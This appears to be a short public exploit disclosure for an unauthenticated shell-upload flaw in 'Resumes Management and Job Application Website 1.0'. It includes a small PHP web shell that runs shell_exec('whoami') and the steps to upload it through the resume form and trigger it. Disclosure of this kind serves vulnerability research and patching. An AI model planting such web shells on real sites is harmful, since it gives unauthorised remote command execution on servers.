Resumes Management And Job Application Website 1.0 Shell Upload

Resumes Management and Job Application Website version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 965020b6096dd5fc5279c3f205e12936

# Exploit Title: Resumes-management-and-job-application-website
unauthenticated RCE
# Date: 3/1/2021
# Exploit Author: Arnav Tripathy
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: linux/lamp

Submit rce.php in resume file upload unauthenticated.Contents of rce.php
$output = shell_exec('whoami');
echo "<h1>$output</h1>";

Navigate to http://localhost/Resumes Management and Job Application

You will get the output of whoami

Related Posts